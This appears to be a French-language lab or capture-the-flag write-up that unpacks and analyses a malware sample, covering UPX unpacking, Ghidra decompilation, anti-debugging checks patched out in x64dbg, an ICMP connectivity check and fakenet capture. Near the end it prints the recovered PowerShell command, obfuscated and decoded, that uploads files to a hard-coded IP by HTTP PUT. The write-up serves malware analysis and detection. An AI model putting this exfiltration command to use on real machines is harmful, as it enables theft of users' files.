Gant de sécurité offensif 2025 - Nullform Vault

· 10min · Juicecat
Table of Contents

Coffre-fort Nullform

On nous donne les instructions suivantes :

Vous êtes chargé d’effectuer une analyse statique approfondie de l’échantillon de malware récupéré. Votre mission :

  • Identifiez la fonctionnalité principale du malware
  • Documenter ses mécanismes anti-débogage
  • Extraire son infrastructure de commande et de contrôle (C2)
  • Évaluer sa persistance et son potentiel de propagation

Début

Charger dans la VM Flare index.md-1.png Nous voyons qu'il est rempli d'upx Peut vérifier en regardant l'entropie index.md-2.png Par souci de temps, nous utilisons simplement la ligne de commande upx pour décompresser le fichier index.md-3.png Dont nous pouvons vérifier le succès en affichant l'entropie et les en-têtes. index.md-4.png

Maintenant nous pouvons démonter - Charger dans Ghidra index.md-5.png En creusant dans la première fonction, nous pouvons ignorer celle-ci en toute sécurité pour le moment : index.md-6.png Nous avons déjà vu cette structure. Il s'agit simplement d'initialiser une valeur de départ. Pour quoi, nous ne le savons pas encore, mais probablement une fonction cryptographique.

La fonction suivante est le début du vrai programme. index.md-7.png C'est un peu long, je n'inclurai donc ici que la partie pertinente :

     plVar7 = (longlong *)FUN_140004b68();
     if ((*plVar7 != 0) && (uVar6 = FUN_14000491c((longlong)plVar7), (char)uVar6 != '\0')) {
      _register_thread_local_exe_atexit_callback(*plVar7);
     }
     uVar8 = _get_initial_narrow_environment();
     puVar9 = (undefined8 *)__p___argv();
     uVar4 = *puVar9;
     puVar10 = (uint *)__p___argc();
     uVar11 = (ulonglong)*puVar10;
     uVar6 = FUN_1400026d0(uVar11,uVar4,uVar8,in_R9);
     iVar3 = (int)uVar6;
     bVar2 = FUN_140004cd0();

Surtout, nous voyons la configuration de l'environnement : définir de nombreuses variables, puis les transmettre immédiatement à une autre fonction (dans ce cas, FUN_1400026d0). Étant donné que tant d'"efforts" ont été déployés pour créer des variables pour cette fonction, nous pouvons supposer que c'est important. De plus, cet appel se situe vers la fin de la fonction d'entrée, donc après l'appel de cette fonction, il n'y a pas grand chose d'autre à faire.

Nous le renommerons interesting_function pour faciliter la mémorisation index.md-8.png

Cette fonction est nettement plus longue, nous allons donc la parcourir étape par étape

La première partie consiste en une vérification de la version de l'API Windows : index.md-9.png Ici, il effectue quelques vérifications avec la sortie de FUN_140001540. Il s'agit essentiellement de s'assurer que la machine actuelle prend en charge des versions spécifiques de l'API Windows. Voici le code de FUN_140001540- Ce n'est pas super pertinent, mais vous verrez qu'il est facile de dire ce qu'il fait :

 local_128._0_4_ = 0x11c;
 local_128._12_4_ = 0;
 local_128._16_4_ = 0;
 memset(local_128 + 0x14,0,0x100);
 local_12 = 0;
 local_10._0_2_ = 0;
 local_10._2_1_ = '\0';
 local_10._3_1_ = '\0';
 uVar2 = VerSetConditionMask(0,2,3);
 uVar2 = VerSetConditionMask(uVar2,1,3);
 dwlConditionMask = VerSetConditionMask(uVar2,0x20,3);
 local_128._4_4_ = 6;
 local_128._8_4_ = 0;
 local_14 = 0;
 BVar1 = VerifyVersionInfoW((LPOSVERSIONINFOEXW)local_128,0x23,dwlConditionMask);
 return CONCAT71((int7)(CONCAT44(extraout_var,BVar1) >> 8),BVar1 != 0);

En continuant, nous voyons une vérification pour détecter si un débogueur est attaché au processus en cours, et si c'est le cas, quittez-le immédiatement. index.md-11.png

En bleu, nous voyons des choses plus intéressantes

Cela devient un peu intéressant. Attachons un débogueur au malware et définissons un point d'arrêt juste avant la vérification pour voir si notre débogueur provoque effectivement une sortie prématurée.

Pour ce faire, nous suivons le même processus pour traiter l'ASLR que nous l'avons fait dans l'ombre du voleur. index.md-12.png Nous récupérons l'adresse relative de l'instruction à laquelle nous voulons interrompre, dans notre cas 1400026fa. Étant donné que Ghidra définit la base d'adresses sur 0x140000000, nous pouvons calculer notre décalage d'adresse comme étant 0x26fa.

En sautant dans x64dbg, nous regardons la valeur de décalage dans l'onglet Carte mémoire : index.md-13.png Dans ce cas, 00007FF794A50000.

Nous pouvons faire quelques calculs rapides dans la barre de commandes pour calculer l'adresse du point d'arrêt index.md-14.png index.md-15.png Je vais suivre cette instruction et définir un point d'arrêt index.md-16.png Nous voyons que l'assemblage de cette ligne est test eax eax, ce qui correspond à ce que nous avons vu dans Ghidra. Exécutons le programme jusqu'à ce que nous atteignions le point d'arrêt : index.md-17.pngMaintenant, la ligne suivante que nous voyons dans IDA est jne output.<address>- Cela correspond au programme effectuant une action si un débogueur est détecté. Nous pouvons donc suivre instruction par instruction pour voir comment cela se déroule. index.md-18.png Étonnamment, il réussit le test de présence du débogueur (dans ce cas, réussir signifie sauter). Vous pouvez voir que l'instruction je sera exécutée car il y a une ligne rouge pointant vers l'emplacement du saut. Fondamentalement, cela signifie que nous sautons au-delà de la clause ExitProcess.

Mais il y a plus de sécurités dans ce malware. Nous allons donc suivre le même processus pour le reste des sécurités pour voir si l'une d'entre elles est déclenchée : index.md-20.png index.md-19.png

En fait, il passe de nombreux contrôles- index.md-21.png Il semble maintenant qu'il appelle une autre fonction. Avant d'entrer dans cette fonction, faisons les mêmes calculs que la dernière fois avec le RVA, et voyons à quoi ressemble cette nouvelle fonction 1540 dans ghidra. index.md-22.png D'accord - Cela semble inoffensif, juste une vérification de version - permettons-leur de s'exécuter index.md-23.png Nous en sommes maintenant à une autre instruction de saut suivie d'un appel de fonction. Voyons ce qui se passe : index.md-24.png

Encore une fois, il réussit le test et appelle à nouveau la même fonction. Nous définissons un point d'arrêt après le retour de la fonction. Voyons comment les choses progressent si nous le laissons exécuter à nouveau la fonction de vérification de version. index.md-25.png Rien ne s'est passé - voyons comment ces conditions sont vérifiées et voyons ce qui se passe. index.md-26.png On dirait qu'il a fini par réussir ces deux vérifications et qu'il va maintenant appeler une nouvelle fonction (woohoo). index.md-27.png En vérifiant cette fonction dans Ghidra, nous voyons que c'est une fonction de sortie (0x3840 contenait un NOP RET).

Donc, c'est échoué l'un des contrôles. Plus précisément, l'une des vérifications a fait pas sauter, lorsque nous recherché l'a fait sauter (saut = aucun débogueur présent, contourner la sortie).

Remplaçons cette instruction d'appel : index.md-28.png Maintenant, nous pouvons continuer : index.md-29.png

La prochaine étape est une logique de boucle : index.md-30.png Nous voyons qu'une fois que l'exécution atteint 0x27e4, elle remonte conditionnellement, effectue une opération, puis refait les vérifications. Dans Ghidra, nous n'avons même pas besoin d'utiliser RVA pour trouver cela. C'est toujours dans la même fonction, et la structure est très évidente : index.md-31.png Parce que nous savons qu'il s'agit d'une sortie de sécurité, nous pouvons simplement NOP ceci et passer aux lignes suivantes : index.md-32.png Après avoir défini quelques valeurs, nous appelons à nouveau une autre fonction. Pour gagner du temps, cette fonction a simplement pris les valeurs définies ci-dessus (tous les dwords) et les a réorganisées pour former une adresse IP. index.md-33.png Nous voilà donc au-delà de la fonction 0x15e0, et nous voyons que RSP contient une adresse IP. Il s’agit simplement d’une tactique utilisée par les acteurs malveillants pour éviter qu’une adresse IP codée en dur puisse être transformée en chaîne. Mais la fonction 0x17b0 est appelée maintenant, donc elle va probablement être utilisée - voyons dans quel but. Pour le contexte, voici où nous en sommes dans la fonction (il est facile de se perdre dans l'assemblage) :

index.md-35.png

Nous sommes donc sur le point d'appeler une fonction, et en fonction de ce qui est renvoyé, elle va se terminer. Je vais vous faire gagner du temps et juste vous montrer la partie intéressante de cette fonction : index.md-36.png Ici, nous voyons un socket ICMP en cours de création, et probablement en utilisant l'adresse IP que nous avons vue plus tôt. Passons au débogueur juste avant l'exécution de la ligne 134

index.md-38.png Maintenant que nous y sommes, nous pouvons utiliser un outil appelé fakenet pour simuler une connexion Internet (notre machine est hors ligne) index.md-39.png Fondamentalement, cela simulera notre présence en ligne, car parfois les logiciels malveillants vérifient s'ils sont en ligne avant de s'exécuter. Il répondra avec des déchets à toutes les demandes, mais surtout, ce sera une réponse valide index.md-40.png Il est important de noter que cela fonctionne également avec les requêtes ICMP : index.md-41.png Ceux-ci sont enregistrés et peuvent être consultés ultérieurement à l'aide de Wireshark. index.md-42.png

Après avoir autorisé le programme à exécuter l'instruction suivante, nous pouvons consulter les journaux, et ici nous voyons le ping : index.md-43.png Et en effet, il s'adresse à l'IP que nous avons vu en cours de construction et inclut une petite charge utile (si vous regardez les photos, vous pouvez également voir celle-ci en cours de construction).

Maintenant, nous sommes un peu dans un terrier de lapin, alors rappelons-nous ce que nous faisons réellement. Nous sommes ici dans l'exécutable démonté : index.md-44.png Nous venons d'exécuter FUN_1400017b0, qui était le message ICMP. Maintenant, le programme vérifiera si l'écho a reçu une réponse, et sinon, quittera. Cela vérifie notre idée selon laquelle il s'assure qu'il est en ligne avant de continuer. Après avoir usurpé notre réseau, nous avons réussi à atteindre la ligne dans laquelle FUN_140001010 est appelé. Fixons-y un point d'arrêt et inspectons la pile.

index.md-45.png Remarquez la fenêtre en bas à gauche (mémoire tas) : nous avons le texte ascii d'une commande PowerShell malveillante qui, d'un coup d'œil, semble exfiltrer un fichier vers un serveur IP codé. Nous pouvons également le voir dans nos transcriptions PowerShell (à partir d’exécutions précédentes de logiciels malveillants lors du débogage) : index.md-46.png

L'adresse IP ici est codée, alors décodons-la et reconstruisons la commande : index.md-47.png

powershell -Command $abc = [System.Text.Encoding]::UTF8.GetString([byte[]](0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x32,0x30,0x33,0x2E,0x30,0x2E,0x31,0x31,0x33,0x2E,0x34,0x32,0x3A,0x38,0x30,0x30,0x30,0x2F)) + 'da.msg'; Invoke-RestMethod -Uri $abc -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'

Decoded ->

Invoke-RestMethod -Uri http://203.0.113.42:8000/da_msg -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'

Donc effectivement, c'est un ordre d'exfiltration. Ce qui est logique. Si nous voulons être un peu plus précis, nous pouvons visualiser une autre partie de la mémoire qui montre les extensions de fichiers qu'il tentera d'exfiltrer : index.md-48.png Qui est mis en place dans cette zone du démontage : index.md-49.png

Nous pouvons voir ces requêtes http effectuées en temps réel via nos logs fakenet : index.md-50.png Cependant, en raison d'une faille (très ennuyeuse) dans fakenet, les écouteurs HTTP qu'il configure ne peuvent pas gérer les requêtes HTTP PUT, donc toutes les requêtes renvoient une exception de protocole non prise en charge. Quoi qu'il en soit, la demande est enregistrée et nous pouvons la consulter. C'est exactement comme nous le soupçonnons : il suffit d'exfiltrer des fichiers .msg aléatoires, qui seem to be related vers Microsoft Outlook.

Bien sûr, nous nous attendons à ce que cela recherche ensuite les autres extensions qui étaient en mémoire (pdf, doc, etc.) et les exfiltre également. Pour nos besoins, nous pouvons nous arrêter ici. Nous avons compris :

  1. Comment le malware est masqué
  2. Que fait le malware pour rechercher des fichiers
  3. Comment il vérifie s'il est en cours de débogage
  4. Comment s'assure-t-il qu'il peut communiquer avec le serveur C2
  5. Quels fichiers il recherche
  6. Comment il exfiltre les fichiers

Et en tant que tel, nous disposons de tous les IoC dont nous avons besoin pour créer un ensemble de règles solides pour détecter et bloquer toute activité dans ce scénario fictif.